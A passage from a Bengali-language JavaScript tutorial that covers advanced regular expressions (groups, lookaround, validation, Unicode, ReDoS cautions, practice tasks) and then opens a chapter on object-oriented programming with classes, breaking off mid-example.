23.21 JavaScript RegExpES2026
console.log(/\d{4}/.test("2026"));
OUTPUT / TEXT
true
23.22 {n,m}

Minimum n, maximum m

23.22 JavaScript RegExpES2026
/\d{2,4}/

মানে 2 থেকে 4 digit।

Match করতে পারে:

OUTPUT / TEXT
12
123
1234
23.23 {n,}

Minimum n

23.23 JavaScript RegExpES2026
/\d{3,}/

মানে অন্তত 3 digit।

23.24 Anchors

Pattern-এর position নির্দিষ্ট করতে anchors ব্যবহার করা হয়।

^

String/line-এর শুরু।

$

String/line-এর শেষ।

23.25 ^` Example
23.25 JavaScript RegExpES2026
console.log(/^Hello/.test("Hello World"));
OUTPUT / TEXT
true

কিন্তু:

23.25 JavaScript RegExpES2026
console.log(/^Hello/.test("Hi Hello"));
OUTPUT / TEXT
false

কারণ Hello শুরুতে নেই।

23.26 $` Example
23.26 JavaScript RegExpES2026
console.log(/World$/.test("Hello World"));
OUTPUT / TEXT
true
23.27 ^ + $

দুটো একসাথে দিলে পুরো string match করার ধারণা পাওয়া যায়।

23.27 JavaScript RegExpES2026
console.log(/^\d+$/.test("12345"));
OUTPUT / TEXT
true

কিন্তু:

23.27 JavaScript RegExpES2026
console.log(/^\d+$/.test("123a"));
OUTPUT / TEXT
false

কারণ পুরো string-এ শুধু digit নেই।

23.28 Alternation `|

মানে:

OR
23.28 JavaScript RegExpES2026
/cat|dog/

মানে:

OUTPUT / TEXT
cat অথবা dog

Example:

23.28 JavaScript RegExpES2026
console.log(/cat|dog/.test("I have a dog"));
OUTPUT / TEXT
true
Part 04 — Groups, Lookaround Assertions & Quantifier Greediness (23.29 – 23.39)
23.29 Grouping `()

Group তৈরি করতে:

23.29 RegExp PatternPattern
(...)

Example:

23.29 JavaScript RegExpES2026
/(cat|dog)/

মানে:

OUTPUT / TEXT
cat
অথবা
dog
23.30 Capturing Groups

Regex-এর একটি অংশ আলাদা করে capture করতে পারো।

23.30 JavaScript RegExpES2026
const regex = /(\d{4})-(\d{2})-(\d{2})/;

const result = "2026-09-16".match(regex);

console.log(result);

Conceptual output:

OUTPUT / TEXT
[
    "2026-09-16",
    "2026",
    "09",
    "16"
]

এখানে:

Group 1 → 2026 Group 2 → 09 Group 3 → 16
23.31 Non-Capturing Group

যদি grouping দরকার কিন্তু capture দরকার না হয়:

23.31 RegExp PatternPattern
(?:...)

Example:

23.31 JavaScript RegExpES2026
const regex = /(?:cat|dog)/;

এটি group করবে, কিন্তু capturing group তৈরি করবে না।

23.32 Named Capturing Groups

আরও readable করার জন্য group-এর নাম দেওয়া যায়।

23.32 JavaScript RegExpES2026
const regex =
    /(?<year>\d{4})-(?<month>\d{2})-(?<day>\d{2})/;

const result =
    "2026-09-16".match(regex);

console.log(result.groups);
23.32 JavaScript RegExpES2026
{
    year: "2026",
    month: "09",
    day: "16"
}

এটা advanced কিন্তু real-world parsing-এ useful।

23.33 Backreference

Captured group পরে আবার একই text match করতে ব্যবহার করা যায়।

Example:

23.33 JavaScript RegExpES2026
const regex = /\b(\w+)\s+\1\b/i;

console.log(
    regex.test("hello hello")
);
OUTPUT / TEXT
true

এখানে:

OUTPUT / TEXT
(\w+)

প্রথম word capture করেছে।

OUTPUT / TEXT
\1

মানে:

Group 1-এ যে text ছিল, সেটিই আবার আসতে হবে।
23.34 Lookahead

Lookahead pattern-এর পরের অংশ check করে কিন্তু consume করে না।

Positive Lookahead
23.34 RegExp PatternPattern
X(?=Y)

মানে:

X-এর পরে Y থাকতে হবে।

Example:

23.34 JavaScript RegExpES2026
const regex = /\d+(?= USD)/;

console.log(
    "100 USD".match(regex)
);
OUTPUT / TEXT
["100"]
23.35 Negative Lookahead
23.35 RegExp PatternPattern
X(?!Y)

মানে:

X-এর পরে Y থাকা যাবে না।

Example:

23.35 JavaScript RegExpES2026
const regex = /foo(?!bar)/;

console.log(regex.test("foobar"));
OUTPUT / TEXT
false

কিন্তু:

23.35 JavaScript RegExpES2026
console.log(regex.test("foobaz"));
OUTPUT / TEXT
true
23.36 Lookbehind

Lookbehind সামনে নয়, আগের অংশ check করে।

Positive Lookbehind
23.36 RegExp PatternPattern
(?<=X)Y

Example:

23.36 JavaScript RegExpES2026
const regex = /(?<=\$)\d+/;

console.log(
    "$100".match(regex)
);
OUTPUT / TEXT
["100"]
23.37 Negative Lookbehind
23.37 RegExp PatternPattern
(?<!X)Y

মানে:

Y-এর আগে X থাকা যাবে না।

Example:

23.37 JavaScript RegExpES2026
const regex = /(?<!\$)\d+/;

console.log(
    "USD 100".match(regex)
);

এখানে 100 match হতে পারে কারণ এর আগে $ নেই।

23.38 Greedy Matching

Regex quantifier সাধারণত greedy।

মানে:

যত বেশি সম্ভব text match করতে চেষ্টা করে।

Example:

23.38 JavaScript RegExpES2026
const text = "<b>Hello</b><b>World</b>";

console.log(
    text.match(/<b>.*<\/b>/)
);

এখানে .* অনেক বেশি text consume করতে পারে।

23.39 Lazy Matching

Lazy করতে ? ব্যবহার করা যায়।

23.39 JavaScript RegExpES2026
const text = "<b>Hello</b><b>World</b>";

console.log(
    text.match(/<b>.*?<\/b>/g)
);
23.39 JavaScript RegExpES2026
[
    "<b>Hello</b>",
    "<b>World</b>"
]
Difference:
.* → Greedy .*? → Lazy
Part 05 — String Methods, Data Validation & Practical Extraction (23.40 – 23.59)
23.40 match()

Text-এর মধ্যে match বের করতে:

23.40 JavaScript RegExpES2026
const text = "I have 10 apples and 20 oranges.";

const numbers = text.match(/\d+/g);

console.log(numbers);
23.40 JavaScript RegExpES2026
["10", "20"]
23.41 matchAll()

Multiple matches এবং capturing groups-এর information নিয়ে কাজ করতে:

23.41 JavaScript RegExpES2026
const text = "ID: 101, ID: 202";

const matches =
    [...text.matchAll(/ID: (\d+)/g)];

for (const match of matches) {
    console.log(match[1]);
}
OUTPUT / TEXT
101
202

matchAll() iterator return করে।

23.42 search()

প্রথম match-এর index বের করতে:

23.42 JavaScript RegExpES2026
const text = "Hello JavaScript";

console.log(
    text.search(/JavaScript/)
);
OUTPUT / TEXT
6

কারণ JavaScript index 6 থেকে শুরু।

23.43 replace()

Regex দিয়ে text replace:

23.43 JavaScript RegExpES2026
const text = "I like cats.";

const result =
    text.replace(/cats/, "dogs");

console.log(result);
OUTPUT / TEXT
I like dogs.
23.44 replace() + g
23.44 JavaScript RegExpES2026
const text = "cat cat cat";

const result =
    text.replace(/cat/g, "dog");

console.log(result);
OUTPUT / TEXT
dog dog dog
23.45 replaceAll()
23.45 JavaScript RegExpES2026
const text = "cat cat cat";

const result =
    text.replaceAll("cat", "dog");

console.log(result);
OUTPUT / TEXT
dog dog dog
23.46 Replace Callback

Replacement হিসেবে function দেওয়া যায়।

23.46 JavaScript RegExpES2026
const text = "10 20 30";

const result =
    text.replace(/\d+/g, (number) => {

        return Number(number) * 2;

    });

console.log(result);
OUTPUT / TEXT
20 40 60
23.47 Email Validation

একটি basic email pattern:

23.47 JavaScript RegExpES2026
const emailRegex =
    /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

Test:

23.47 JavaScript RegExpES2026
console.log(
    emailRegex.test("shariar@example.com")
);
OUTPUT / TEXT
true
Invalid:
23.47 JavaScript RegExpES2026
console.log(
    emailRegex.test("hello")
);
OUTPUT / TEXT
false
এটি email-এর basic format check; complete RFC-level email validation নয়।
23.48 Phone Number Validation

বাংলাদেশের 11-digit mobile format-এর একটি basic example:

23.48 JavaScript RegExpES2026
const phoneRegex = /^01[3-9]\d{8}$/;

console.log(
    phoneRegex.test("01712345678")
);
OUTPUT / TEXT
true

এটি format validation-এর example; actual business rules অনুযায়ী validation পরিবর্তন হতে পারে।

23.49 Password Validation

ধরো password-এ থাকতে হবে:

  • কমপক্ষে 8 characters
  • একটি uppercase
  • একটি lowercase
  • একটি digit
23.49 JavaScript RegExpES2026
const passwordRegex =
    /^(?=.*[A-Z])(?=.*[a-z])(?=.*\d).{8,}$/;

Test:

23.49 JavaScript RegExpES2026
console.log(
    passwordRegex.test("Hello123")
);
OUTPUT / TEXT
true
23.50 Password Regex Breakdown
23.50 RegExp PatternPattern
^

→ শুরু

23.50 RegExp PatternPattern
(?=.*[A-Z])

→ অন্তত একটি uppercase

23.50 RegExp PatternPattern
(?=.*[a-z])

→ অন্তত একটি lowercase

23.50 RegExp PatternPattern
(?=.*\d)

→ অন্তত একটি digit

23.50 RegExp PatternPattern
.{8,}

→ অন্তত 8 characters

23.50 RegExp PatternPattern
$

→ শেষ

23.51 Stronger Password Example

ধরো:

  • 8+ characters
  • uppercase
  • lowercase
  • number
  • special character
23.51 JavaScript RegExpES2026
const strongPassword =
    /^(?=.*[A-Z])(?=.*[a-z])(?=.*\d)(?=.*[^A-Za-z0-9]).{8,}$/;

console.log(
    strongPassword.test("Hello@123")
);
OUTPUT / TEXT
true
23.52 Username Validation

ধরো:

  • letters
  • numbers
  • underscore
  • 3–16 characters
23.52 JavaScript RegExpES2026
const usernameRegex =
    /^[A-Za-z0-9_]{3,16}$/;

console.log(
    usernameRegex.test("Shariar_01")
);
OUTPUT / TEXT
true
23.53 Extract Numbers
23.53 JavaScript RegExpES2026
const text =
    "I bought 2 laptops and 3 phones.";

const numbers =
    text.match(/\d+/g);

console.log(numbers);
23.53 JavaScript RegExpES2026
["2", "3"]
23.54 Extract Hashtags
23.54 JavaScript RegExpES2026
const text =
    "Learning #JavaScript and #React today.";

const hashtags =
    text.match(/#[A-Za-z0-9_]+/g);

console.log(hashtags);
23.54 JavaScript RegExpES2026
[
    "#JavaScript",
    "#React"
]
23.55 Remove Extra Spaces
23.55 JavaScript RegExpES2026
const text =
    "Hello     JavaScript    World";

const cleaned =
    text.replace(/\s+/g, " ");

console.log(cleaned);
OUTPUT / TEXT
Hello JavaScript World
23.56 Remove Special Characters
23.56 JavaScript RegExpES2026
const text =
    "Hello! @Shariar #Developer";

const cleaned =
    text.replace(/[^\w\s]/g, "");

console.log(cleaned);
OUTPUT / TEXT
Hello Shariar Developer
23.57 Extract URLs

একটি basic URL pattern:

23.57 JavaScript RegExpES2026
const urlRegex =
    /https?:\/\/[^\s]+/g;

const text =
    "Visit https://example.com for more info.";

console.log(
    text.match(urlRegex)
);
23.57 JavaScript RegExpES2026
[
    "https://example.com"
]

বাস্তব URL parsing-এর জন্য URL object অনেক ক্ষেত্রে Regex-এর চেয়ে ভালো।

23.58 Regex দিয়ে Date Extract
23.58 JavaScript RegExpES2026
const text =
    "Exam date: 2026-09-20";

const dateRegex =
    /\d{4}-\d{2}-\d{2}/;

console.log(
    text.match(dateRegex)
);
23.58 JavaScript RegExpES2026
["2026-09-20"]
23.59 Date Validation-এর সীমাবদ্ধতা

এই Regex:

23.59 RegExp PatternPattern
\d{4}-\d{2}-\d{2}

এটি:

OUTPUT / TEXT
2026-99-99

এর মতো format-ও match করতে পারে।

অর্থাৎ:

Regex format check করতে পারে, কিন্তু সবসময় date-এর বাস্তব validity নিশ্চিত করে না।

তাই:

23.59 JavaScript RegExpES2026
Date

দিয়ে additional validation লাগতে পারে।

Part 06 — Advanced Unicode, Sticky Matching, Security (ReDoS) & Enterprise Sanitization (23.60 – 23.80)
23.60 Regex Escape Characters

Regex-এ কিছু character-এর special meaning আছে:

OUTPUT / TEXT
. * + ? ^ $ { } [ ] ( ) | \

Literal হিসেবে ব্যবহার করতে escape করতে হয়।

Example:

23.60 JavaScript RegExpES2026
const regex = /\./;

এখানে .-কে literal dot হিসেবে match করা হচ্ছে।

23.61 Literal Dot
23.61 JavaScript RegExpES2026
console.log(/\./.test("example.com"));
OUTPUT / TEXT
true
23.62 Literal `$

Dollar sign match করতে:

23.62 JavaScript RegExpES2026
/\$/

Example:

23.62 JavaScript RegExpES2026
console.log(/\$100/.test("$100"));
OUTPUT / TEXT
true
23.63 Word Boundary `\b

\b word boundary নির্দেশ করে।

23.63 JavaScript RegExpES2026
const regex = /\bcat\b/;

console.log(regex.test("cat"));

true।

কিন্তু:

23.63 JavaScript RegExpES2026
console.log(regex.test("category"));

false হতে পারে, কারণ cat এখানে পুরো word নয়।

23.64 \B

Non-word-boundary।

এটি তুলনামূলকভাবে advanced এবং কম ব্যবহৃত।

23.65 Multiline `m

m flag ব্যবহার করলে ^ এবং $ প্রতিটি line-এর beginning/end-এর সাথে কাজ করতে পারে।

23.65 JavaScript RegExpES2026
const text = `Hello
World`;

console.log(
    text.match(/^World$/m)
);
23.65 JavaScript RegExpES2026
["World"]
23.66 Unicode `u

Unicode-aware matching-এর জন্য u flag ব্যবহার করা যায়।

23.66 JavaScript RegExpES2026
const regex = /\u{1F600}/u;

console.log(
    regex.test("😀")
);
OUTPUT / TEXT
true

Unicode নিয়ে কাজ করার সময় u এবং Unicode property escapes useful।

23.67 Unicode Property Escapes

Modern JavaScript-এ:

23.67 RegExp PatternPattern
\p{...}

ব্যবহার করা যায় u flag-এর সাথে।

Example:

23.67 JavaScript RegExpES2026
const regex = /\p{L}+/gu;

console.log(
    "Hello বাংলা".match(regex)
);

Output conceptually:

23.67 JavaScript RegExpES2026
[
    "Hello",
    "বাংলা"
]

এখানে \p{L} letter-এর Unicode property বোঝায়।

23.68 Emoji Matching

Unicode property দিয়ে emoji detect করা সম্ভব:

23.68 JavaScript RegExpES2026
const emojiRegex =
    /\p{Emoji}/u;

console.log(
    emojiRegex.test("😀")
);
OUTPUT / TEXT
true
23.69 Sticky y Flag

y flag match-কে lastIndex position-এ stick করে।

Example:

23.69 JavaScript RegExpES2026
const regex = /\d/y;

regex.lastIndex = 0;

console.log(
    regex.test("123")
);
OUTPUT / TEXT
true

y advanced parsing scenarios-এ বেশি useful।

23.70 lastIndex
g এবং y flag-এর সাথে lastIndex গুরুত্বপূর্ণ হতে পারে।
23.70 JavaScript RegExpES2026
const regex = /\d/g;

console.log(regex.exec("123"));
console.log(regex.exec("123"));

Result sequentially match করতে পারে।

Conceptually:

OUTPUT / TEXT
1
2

এখানে regex-এর internal position পরিবর্তিত হয়।

23.71 exec()
23.71 JavaScript RegExpES2026
const regex = /\d+/;

const result =
    regex.exec("Age: 24");

console.log(result);

Output conceptually:

23.71 JavaScript RegExpES2026
[
    "24",
    index: 5,
    input: "Age: 24"
]

exec() match-এর detailed result দেয়।

23.72 test() বনাম match()
Methodকাজ
test()match আছে কি না
match()matched text বের করা
matchAll()সব match + groups
search()প্রথম match-এর index
replace()text replace
exec()detailed match result
23.73 Regex + Form Validation

ধরো:

23.73 HTMLMarkup
<input id="email" type="text">
<button id="submit">Submit</button>

JavaScript:

23.73 JavaScript RegExpES2026
const emailInput =
    document.querySelector("#email");

const emailRegex =
    /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

document
    .querySelector("#submit")
    .addEventListener("click", () => {

        if (emailRegex.test(emailInput.value)) {

            console.log("Valid email");

        } else {

            console.log("Invalid email");

        }

    });
23.74 Regex + Input Sanitization

Regex দিয়ে unwanted characters remove করা যায়।

23.74 JavaScript RegExpES2026
const username = "Shariar@123!";

const cleaned =
    username.replace(/[^A-Za-z0-9_]/g, "");

console.log(cleaned);
OUTPUT / TEXT
Shariar123
কিন্তু মনে রাখবে:
Sanitization এবং validation একই জিনিস নয়।
23.75 Validation vs Sanitization
Validation

Check করে:

Data valid কি না?
23.75 JavaScript RegExpES2026
/^[A-Za-z]+$/
Sanitization

Data clean/transform করে:

23.75 JavaScript RegExpES2026
text.replace(...)
23.76 Regex Security

Regex-এর ক্ষেত্রে একটি advanced security issue আছে:

# ⚠️ ReDoS

Regular Expression Denial of Service

কিছু poorly designed regex খুব complex input-এর ক্ষেত্রে অত্যন্ত slow হয়ে যেতে পারে।

বিশেষ করে nested quantifier-এর মতো dangerous pattern:

23.76 RegExp PatternPattern
(a+)+

এর মতো pattern carefully ব্যবহার করতে হয়।

Best Practice
  • Unnecessary complex regex avoid করো
  • User-controlled huge input limit করো
  • Nested quantifier সাবধানে ব্যবহার করো
  • Performance-sensitive regex test করো
23.77 Regex সব সমস্যার সমাধান নয়

Regex দিয়ে:

Email format Phone format Username Password rules Text extraction Search Replace

খুব ভালোভাবে করা যায়।

কিন্তু complex structured data-এর জন্য অন্য tools ভালো হতে পারে।

উদাহরণ:

URL

Regex-এর বদলে:

23.77 JavaScript RegExpES2026
new URL(url)
Date

Regex +:

23.77 JavaScript RegExpES2026
Date
HTML parsing

Regex দিয়ে HTML parser replace করা উচিত নয়।

23.78 Real-Life Project — Registration Validator
23.78 JavaScript RegExpES2026
const usernameRegex =
    /^[A-Za-z0-9_]{3,16}$/;

const emailRegex =
    /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

const phoneRegex =
    /^01[3-9]\d{8}$/;

const passwordRegex =
    /^(?=.*[A-Z])(?=.*[a-z])(?=.*\d)(?=.*[^A-Za-z0-9]).{8,}$/;

function validateUser(user) {

    if (!usernameRegex.test(user.username)) {
        return "Invalid username";
    }

    if (!emailRegex.test(user.email)) {
        return "Invalid email";
    }

    if (!phoneRegex.test(user.phone)) {
        return "Invalid phone";
    }

    if (!passwordRegex.test(user.password)) {
        return "Weak password";
    }

    return "Registration data is valid";
}

const user = {

    username: "Shariar_01",

    email: "shariar@example.com",

    phone: "01712345678",

    password: "Hello@123"

};

console.log(validateUser(user));
CONSOLE OUTPUT
Registration data is valid
23.79 Regex-এর একটি Practical Text Processing Example

ধরো server থেকে পেলাম:

23.79 JavaScript RegExpES2026
const text = `
Name: Shariar
Age: 24
Email: shariar@example.com
Phone: 01712345678
`;

Email বের করি:

23.79 JavaScript RegExpES2026
const email =
    text.match(
        /[^\s@]+@[^\s@]+\.[^\s@]+/
    );

console.log(email[0]);
OUTPUT / TEXT
shariar@example.com

Phone:

23.79 JavaScript RegExpES2026
const phone =
    text.match(/01[3-9]\d{8}/);

console.log(phone[0]);
OUTPUT / TEXT
01712345678
23.80 Regex Pattern পড়ার কৌশল

যখন একটি বড় Regex দেখবে, পুরোটা একসাথে বোঝার চেষ্টা করবে না।

ধরো:

23.80 RegExp PatternPattern
^(?=.*[A-Z])(?=.*[a-z])(?=.*\d)(?=.*[^A-Za-z0-9]).{8,}$

এটাকে ভাঙো:

^ ↓ start (?=.*[A-Z]) ↓ uppercase আছে? (?=.*[a-z]) ↓ lowercase আছে? (?=.*\d) ↓ digit আছে? (?=.*[^A-Za-z0-9]) ↓ special character আছে? .{8,} ↓ minimum 8 characters $ ↓ end

এভাবেই Regex পড়তে হয়।

Part 07 — RegExp Mastery: Must Know, Cheat Sheet, Practice Lab & Mental Map
MUST KNOW 🔥 23.81 Must Know — Advanced Regular Expressions Pillars
Basic
  • Regular Expression
  • Regex literal
  • RegExp
  • test()
  • Regex flags
⚙️ Character Classes
OUTPUT / TEXT
[abc]
[a-z]
[A-Z]
[0-9]
[^abc]
\d
\D
\w
\W
\s
\S
.
Quantifiers
OUTPUT / TEXT
+
*
?
{n}
{n,m}
{n,}
Anchors
OUTPUT / TEXT
^
$
\b
\B
Groups
OUTPUT / TEXT
(...)
(?:...)
(?<name>...)
Advanced
OUTPUT / TEXT
\1
(?=...)
(?!...)
(?<=...)
(?<!...)
⚙️ Methods
JavaScript RegExpES2026
test()
exec()
match()
matchAll()
search()
replace()
replaceAll()
Practical
  • Email validation
  • Phone validation
  • Password validation
  • Username validation
  • Number extraction
  • Hashtag extraction
  • URL extraction
  • Text cleaning
Advanced Topics
  • Greedy vs lazy
  • Unicode
  • Unicode property escapes
  • g, m, s, u, y
  • lastIndex
  • ReDoS
  • Regex limitations
CHEAT SHEET 🧠 Quick Cheat Sheet — RegExp Syntax, Quantifiers & Lookarounds
RegExp PatternPattern
/abc/

abc

RegExp PatternPattern
/abc/i

→ case-insensitive

RegExp PatternPattern
/abc/g

→ global

RegExp PatternPattern
\d

→ digit

RegExp PatternPattern
\w

→ word character

RegExp PatternPattern
\s

→ whitespace

RegExp PatternPattern
.

→ any character except newline by default

RegExp PatternPattern
+

→ 1 or more

RegExp PatternPattern
*

→ 0 or more

RegExp PatternPattern
?

→ 0 or 1

RegExp PatternPattern
{3}

→ exactly 3

RegExp PatternPattern
{2,5}

→ 2–5

RegExp PatternPattern
^

→ start

RegExp PatternPattern
$

→ end

RegExp PatternPattern
|

→ OR

RegExp PatternPattern
(...)

→ capturing group

RegExp PatternPattern
(?:...)

→ non-capturing group

RegExp PatternPattern
(?=...)

→ positive lookahead

RegExp PatternPattern
(?!...)

→ negative lookahead

RegExp PatternPattern
(?<=...)

→ positive lookbehind

RegExp PatternPattern
(?<!...)

→ negative lookbehind

RegExp PatternPattern
\1

→ first captured group-এর backreference

PRACTICE LAB 📝 Practice Set — 7 Practical Regex Challenges

Practice 1

এমন Regex বানাও যেটা শুধু digit accept করবে:

12345 → true 123a5 → false

Practice 2

এমন Regex বানাও যেটা username:

OUTPUT / TEXT
3–15 characters
letters
numbers
underscore

accept করবে।

Practice 3

এই text থেকে সব number বের করো:

JavaScript RegExpES2026
const text =
    "I have 10 books, 20 pens and 5 laptops.";

Expected:

OUTPUT / TEXT
["10", "20", "5"]

Practice 4

এই text থেকে সব hashtag বের করো:

JavaScript RegExpES2026
const text =
    "I love #JavaScript #React #NodeJS";

Expected:

OUTPUT / TEXT
#JavaScript
#React
#NodeJS

Practice 5

Extra spaces remove করো:

OUTPUT / TEXT
"Hello     World    JavaScript"

Expected:

OUTPUT / TEXT
"Hello World JavaScript"

Practice 6

একটি password validator বানাও যেখানে:

  • minimum 8 characters
  • uppercase
  • lowercase
  • number
  • special character

থাকবে।

Practice 7 — Advanced

এই string:

OUTPUT / TEXT
"ID: 101, ID: 202, ID: 303"

থেকে matchAll() ব্যবহার করে:

OUTPUT / TEXT
101
202
303

বের করো।

SUMMARY 🎯 Chapter 23 Final Mental Map — RegExp Architecture & Use Cases
REGULAR EXPRESSION │ ┌───────────────┼────────────────┐ │ │ │ Characters Quantifiers Anchors │ │ │ [a-z] [0-9] + * ? {n} ^ $ \d \w \s {n,m} \b │ └───────────────┐ ↓ Groups │ ┌──────────┼──────────┐ │ │ │ (...) (?:...) Named │ ↓ Lookaround ┌────┴─────────────┐ ↓ ↓ Lookahead Lookbehind │ │ └────────┬─────────┘ ↓ Methods │ ┌───────────┼────────────┐ ↓ ↓ ↓ test() match() replace() │ │ │ └───────────┼────────────┘ ↓ Real-world validation │ ┌─────────┼──────────┐ ↓ ↓ ↓ Email Phone Password
📌 ⭐ সবচেয়ে গুরুত্বপূর্ণ কথা

Regex-কে শুধু validation tool হিসেবে দেখবে না।

একজন Full Stack Developer হিসেবে Regex ব্যবহার করতে পারবে:

User Input ↓ Validation ↓ Text Search ↓ Data Extraction ↓ Text Replacement ↓ Data Cleaning ↓ Parsing

আর Chapter 13-এর basic RegExp + Chapter 23-এর Advanced RegExp মিলিয়ে এখন JavaScript-এর Regular Expression অংশটি অনেক বেশি complete হলো।

NEXT CHAPTER 📘 Chapter 24 Preview — Object-Oriented JavaScript & Classes

পরবর্তী অধ্যায়ে আমরা জাভাস্ক্রিপ্টের অন্যতম কোর পিলার Object-Oriented Programming (OOP) & ES6 Classes নিয়ে বিস্তারিত শিখব—Constructor, Prototypal Inheritance, extends & super, Private Fields (#), Static Methods এবং বাস্তব সফটওয়্যার আর্কিটেকচার ডিজাইন প্যাটার্ন।

Chapter 24
↑ Index
OOP & JavaScript Classes — অবজেক্ট ওরিয়েন্টেড প্রোগ্রামিং ও ক্লাস
Total Modules
50 Modules + Practice Lab
Curriculum Part
Part 18 — Object-Oriented Architecture
Core Mechanics
Classes, Encapsulation, Extends & Super
Reference Standard
ECMAScript 2026 / OOP Class Fields
🎯 Chapter 24 — OOP Architecture & Core Learning Roadmap

OOP (Object-Oriented Programming) হলো আধুনিক সফটওয়্যার ইঞ্জিনিয়ারিংয়ের মূল ভিত্তি। বিশেষ করে React, Node.js, Express, NestJS, এবং large-scale enterprise application ডেভেলপমেন্টে পরিষ্কার ডেটা মডেলিং এবং মডুলার কোড স্ট্রাকচার সাজাতে ক্লাস এবং অবজেক্টের কনসেপ্ট অপরিহার্য। এই চ্যাপ্টারে আমরা একদম গ্রাউন্ড লেভেল থেকে ইন্টারনাল প্রোটোটাইপ মেকানিজম পর্যন্ত নিখুঁতভাবে শিখব।

OOP কী এবং কেন দরকার Object-oriented programming-এর 4 pillars Class কী Object কী Constructor this Instance properties Instance methods Static properties/methods Getters & Setters extends super() Method overriding Inheritance Encapsulation Private fields # Polymorphism Abstraction Composition instanceof Class vs Constructor Function Prototype-এর সাথে Class-এর সম্পর্ক Real-world project architecture Common mistakes Interview questions
Part 01 — OOP Fundamentals, Objects & Class Syntax (24.1 – 24.10)
24.1 OOP কী?

OOP = Object-Oriented Programming এটি এমন একটি programming approach যেখানে program-এর data এবং সেই data-এর সাথে কাজ করার functions-কে একসাথে object হিসেবে organize করা হয়। সহজভাবে: > Data + Behavior = Object

🔹 Real-Life Example

ধরো একটি Student। Student-এর data:

▶ CONSOLE OUTPUTOutput
name
id
department
cgpa

Student-এর behavior:

▶ CONSOLE OUTPUTOutput
study()
attendClass()
takeExam()

JavaScript-এ আমরা এগুলো একটি object/class-এর মাধ্যমে organize করতে পারি।

24.2 OOP কেন দরকার?

ছোট program-এ সাধারণ function এবং object দিয়েই কাজ করা যায়। কিন্তু বড় application হলে সমস্যা হয়। ধরো university system:

▶ CONSOLE OUTPUTOutput
Student
Teacher
Admin
Course
Department
Attendance
Result
Payment

প্রত্যেকটির আলাদা data এবং behavior আছে। OOP ব্যবহার করলে code:

  • organized হয়
  • reusable হয়
  • maintain করা সহজ হয়
  • বড় application manage করা সহজ হয়
  • inheritance ব্যবহার করা যায়
  • encapsulation করা যায়
24.3 OOP-এর 4 Pillars

OOP-এর চারটি মূল concept:

Pillarসহজ অর্থ
EncapsulationData + Methods একসাথে রাখা এবং access control করা
Abstractionপ্রয়োজনীয় অংশ দেখানো, internal complexity hide করা
Inheritanceএকটি class থেকে অন্য class-এর বৈশিষ্ট্য নেওয়া
Polymorphismএকই method/interface বিভিন্নভাবে কাজ করা

মনে রাখবে: > E-A-I-P Encapsulation → Abstraction → Inheritance → Polymorphism

24.4 Object কী?

Object হলো key-value pair-এর collection।

JavaScriptJavaScript
const student = {
    name: "Shariar",
    age: 23,
    department: "CSE",

    study() {
        console.log("Student is studying");
    }
};

এখানে:

▶ CONSOLE OUTPUTOutput
name
age
department

হলো data। আর:

JavaScriptJavaScript
study()

হলো behavior।

24.5 Class কী?

Class হলো object তৈরির একটি blueprint/template

🔹 Real-Life Example

একটি বাড়ির blueprint ধরো:

▶ CONSOLE OUTPUTOutput
Bedrooms
Bathrooms
Kitchen
Garage

Blueprint নিজে বাড়ি নয়। Blueprint থেকে অনেক বাড়ি বানানো যায়। ঠিক একইভাবে:

JavaScriptJavaScript
class Student {
    
}

হলো blueprint। আর:

JavaScriptJavaScript
const student1 = new Student();
const student2 = new Student();

হলো সেই blueprint থেকে তৈরি objects।

24.6 Basic Class Syntax
JavaScriptJavaScript
class Student {

}

Object তৈরি:

JavaScriptJavaScript
const student1 = new Student();

এখানে:

🧭 Concept Architecture
class → blueprint Student → class name new → নতুন object তৈরি student1 → object/instance
24.7 Constructor

Class-এর ভিতরে constructor() একটি special method। Object তৈরি হওয়ার সময় এটি automatically execute হয়।

JavaScriptJavaScript
class Student {

    constructor() {
        console.log("Student object created");
    }

}

const student1 = new Student();
▶ CONSOLE OUTPUTOutput
Student object created

কারণ:

JavaScriptJavaScript
new Student();

চললে constructor automatically call হয়।

24.8 Constructor Parameters

এখন student-এর information পাঠাই।

JavaScriptJavaScript
class Student {

    constructor(name, age) {
        this.name = name;
        this.age = age;
    }

}

Object:

JavaScriptJavaScript
const student1 = new Student("Shariar", 23);

console.log(student1.name);
console.log(student1.age);
▶ CONSOLE OUTPUTOutput
Shariar
23
24.9 this কী?

OOP-এ this অত্যন্ত গুরুত্বপূর্ণ।

JavaScriptJavaScript
class Student {

    constructor(name, age) {
        this.name = name;
        this.age = age;
    }

}

এখানে:

JavaScriptJavaScript
this.name

মানে: > যে object তৈরি হচ্ছে, সেই object-এর name property। যখন:

JavaScriptJavaScript
const student1 = new Student("Shariar", 23);

তখন:

JavaScriptJavaScript
this

মূলত student1 object-কে refer করছে। # 🧠 সহজভাবে

JavaScriptJavaScript
this.name = name;

মানে:

▶ CONSOLE OUTPUTOutput
object-এর name = parameter-এর name
24.10 Multiple Objects

একটি class থেকে অনেক object তৈরি করা যায়।

JavaScriptJavaScript
class Student {

    constructor(name, age) {
        this.name = name;
        this.age = age;
    }

}

const student1 = new Student("Shariar", 23);
const student2 = new Student("Rahim", 22);
const student3 = new Student("Karim", 24);

console.log(student1);
console.log(student2);
console.log(student3);

প্রতিটি object-এর নিজস্ব data থাকবে।

Part 02 — Methods, Properties, Accessors & Encapsulation (24.11 – 24.23)
24.11 Instance Method

Class-এর ভিতরে function লিখলে সেটাকে সাধারণত method বলা হয়।

JavaScriptJavaScript
class Student {

    constructor(name, age) {
        this.name = name;
        this.age = age;
    }

    introduce() {
        console.log(`My name is ${this.name}`);
    }

}

ব্যবহার:

JavaScriptJavaScript
const student = new Student("Shariar", 23);

student.introduce();
▶ CONSOLE OUTPUTOutput
My name is Shariar
24.12 Multiple Methods
JavaScriptJavaScript
class Student {

    constructor(name, age) {
        this.name = name;
        this.age = age;
    }

    introduce() {
        console.log(`My name is ${this.name}`);
    }

    study() {
        console.log(`${this.name} is studying`);
    }

    sleep() {
        console.log(`${this.name} is sleeping`);
    }

}

const student = new Student("Shariar", 23);

student.introduce();
student.study();
student.sleep();
▶ CONSOLE OUTPUTOutput
My name is Shariar
Shariar is studying
Shariar is sleeping
24.13 Real-Life Example: Bank Account
JavaScriptJavaScript
class BankAccount {

    constructor(owner, balance) {
        this.owner = owner;
        this.balance = balance;
    }

    deposit(amount) {
        this.balance += amount;
    }

    withdraw(amount) {
        if (amount > this.balance) {
            console.log("Insufficient balance");
